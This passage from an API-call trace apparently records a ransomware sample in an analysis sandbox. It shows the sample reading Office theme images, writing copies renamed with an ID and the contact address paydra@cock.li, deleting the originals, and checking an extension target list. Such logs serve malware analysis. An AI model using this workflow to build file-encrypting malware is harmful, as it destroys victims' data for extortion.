(lpString1=".7z", lpString2="PNG") returned -1 [0046.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.572] lstrlenW (lpString=".dbf") returned 4 [0046.572] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.573] lstrlenW (lpString=".1cd") returned 4 [0046.573] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.573] lstrlenW (lpString=".jpg") returned 4 [0046.573] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.573] lstrlenW (lpString=".doc") returned 4 [0046.573] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString=".docx") returned 5 [0046.573] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.573] lstrlenW (lpString=".pdf") returned 4 [0046.573] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString=".xls") returned 4 [0046.573] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.573] lstrlenW (lpString=".xlsx") returned 5 [0046.573] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.573] lstrlenW (lpString=".ppt") returned 4 [0046.573] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.573] lstrlenW (lpString=".zip") returned 4 [0046.573] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.573] lstrlenW (lpString=".rar") returned 4 [0046.573] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.573] lstrlenW (lpString=".bz2") returned 4 [0046.573] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.573] lstrlenW (lpString=".7z") returned 3 [0046.573] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.574] lstrlenW (lpString=".dbf") returned 4 [0046.574] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.574] lstrlenW (lpString=".1cd") returned 4 [0046.574] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0046.574] lstrlenW (lpString=".jpg") returned 4 [0046.574] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.574] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.574] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.159] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1009) returned 1 [0047.159] CloseHandle (hObject=0x21c) returned 1 [0047.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0047.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.160] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.160] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.160] GetLastError () returned 0x0 [0047.160] ReadFile (in: hFile=0x21c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0047.214] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x400, lpOverlapped=0x0) returned 1 [0047.215] ReadFile (in: hFile=0x21c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.215] WriteFile (in: hFile=0x1dc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.215] SetEndOfFile (hFile=0x1dc) returned 1 [0047.215] CloseHandle (hObject=0x1dc) returned 1 [0047.215] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.215] SetEndOfFile (hFile=0x21c) returned 1 [0047.216] CloseHandle (hObject=0x21c) returned 1 [0047.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.217] lstrlenW (lpString=".doc") returned 4 [0047.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString=".docx") returned 5 [0047.217] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.217] lstrlenW (lpString=".pdf") returned 4 [0047.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".xls") returned 4 [0047.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".xlsx") returned 5 [0047.217] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.217] lstrlenW (lpString=".ppt") returned 4 [0047.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.217] lstrlenW (lpString=".zip") returned 4 [0047.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".rar") returned 4 [0047.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".bz2") returned 4 [0047.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString=".7z") returned 3 [0047.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.217] lstrlenW (lpString=".dbf") returned 4 [0047.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.217] lstrlenW (lpString=".1cd") returned 4 [0047.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString=".jpg") returned 4 [0047.218] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString=".doc") returned 4 [0047.218] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString=".docx") returned 5 [0047.218] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.218] lstrlenW (lpString=".pdf") returned 4 [0047.218] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".xls") returned 4 [0047.218] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".xlsx") returned 5 [0047.218] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.218] lstrlenW (lpString=".ppt") returned 4 [0047.218] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString=".zip") returned 4 [0047.218] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".rar") returned 4 [0047.218] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".bz2") returned 4 [0047.218] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString=".7z") returned 3 [0047.218] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString=".dbf") returned 4 [0047.218] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.218] lstrlenW (lpString=".1cd") returned 4 [0047.218] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0047.219] lstrlenW (lpString=".jpg") returned 4 [0047.219] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.219] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0047.219] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.269] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=19525) returned 1 [0047.269] CloseHandle (hObject=0x1e8) returned 1 [0047.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0047.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.276] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.283] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.293] GetLastError () returned 0x0 [0047.293] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0047.359] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0047.360] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.360] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.360] SetEndOfFile (hFile=0x21c) returned 1 [0047.360] CloseHandle (hObject=0x21c) returned 1 [0047.360] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.360] SetEndOfFile (hFile=0x1e8) returned 1 [0047.361] CloseHandle (hObject=0x1e8) returned 1 [0047.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.361] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0047.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.362] lstrlenW (lpString=".doc") returned 4 [0047.362] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.362] lstrlenW (lpString=".docx") returned 5 [0047.362] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.362] lstrlenW (lpString=".pdf") returned 4 [0047.362] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.362] lstrlenW (lpString=".xls") returned 4 [0047.362] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.362] lstrlenW (lpString=".xlsx") returned 5 [0047.362] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.362] lstrlenW (lpString=".ppt") returned 4 [0047.362] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.362] lstrlenW (lpString=".zip") returned 4 [0047.362] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.362] lstrlenW (lpString=".rar") returned 4 [0047.362] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.362] lstrlenW (lpString=".bz2") returned 4 [0047.362] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.362] lstrlenW (lpString=".7z") returned 3 [0047.362] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.362] lstrlenW (lpString=".dbf") returned 4 [0047.362] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.362] lstrlenW (lpString=".1cd") returned 4 [0047.363] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString=".jpg") returned 4 [0047.363] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString=".doc") returned 4 [0047.363] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString=".docx") returned 5 [0047.363] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.363] lstrlenW (lpString=".pdf") returned 4 [0047.363] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString=".xls") returned 4 [0047.363] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.363] lstrlenW (lpString=".xlsx") returned 5 [0047.363] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.363] lstrlenW (lpString=".ppt") returned 4 [0047.363] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString=".zip") returned 4 [0047.363] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.363] lstrlenW (lpString=".rar") returned 4 [0047.363] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.363] lstrlenW (lpString=".bz2") returned 4 [0047.363] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString=".7z") returned 3 [0047.363] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString=".dbf") returned 4 [0047.363] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.363] lstrlenW (lpString=".1cd") returned 4 [0047.363] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0047.364] lstrlenW (lpString=".jpg") returned 4 [0047.364] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.364] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0047.364] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.364] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2668) returned 1 [0047.364] CloseHandle (hObject=0x1e8) returned 1 [0047.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0047.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.364] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.364] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.366] GetLastError () returned 0x0 [0047.366] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0047.367] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0047.368] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.368] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.368] SetEndOfFile (hFile=0x21c) returned 1 [0047.369] CloseHandle (hObject=0x21c) returned 1 [0047.369] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.369] SetEndOfFile (hFile=0x1e8) returned 1 [0047.369] CloseHandle (hObject=0x1e8) returned 1 [0047.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.370] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0047.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.370] lstrlenW (lpString=".doc") returned 4 [0047.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.370] lstrlenW (lpString=".docx") returned 5 [0047.370] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.370] lstrlenW (lpString=".pdf") returned 4 [0047.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.370] lstrlenW (lpString=".xls") returned 4 [0047.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.370] lstrlenW (lpString=".xlsx") returned 5 [0047.370] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.370] lstrlenW (lpString=".ppt") returned 4 [0047.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.370] lstrlenW (lpString=".zip") returned 4 [0047.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.370] lstrlenW (lpString=".rar") returned 4 [0047.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.370] lstrlenW (lpString=".bz2") returned 4 [0047.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.370] lstrlenW (lpString=".7z") returned 3 [0047.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".dbf") returned 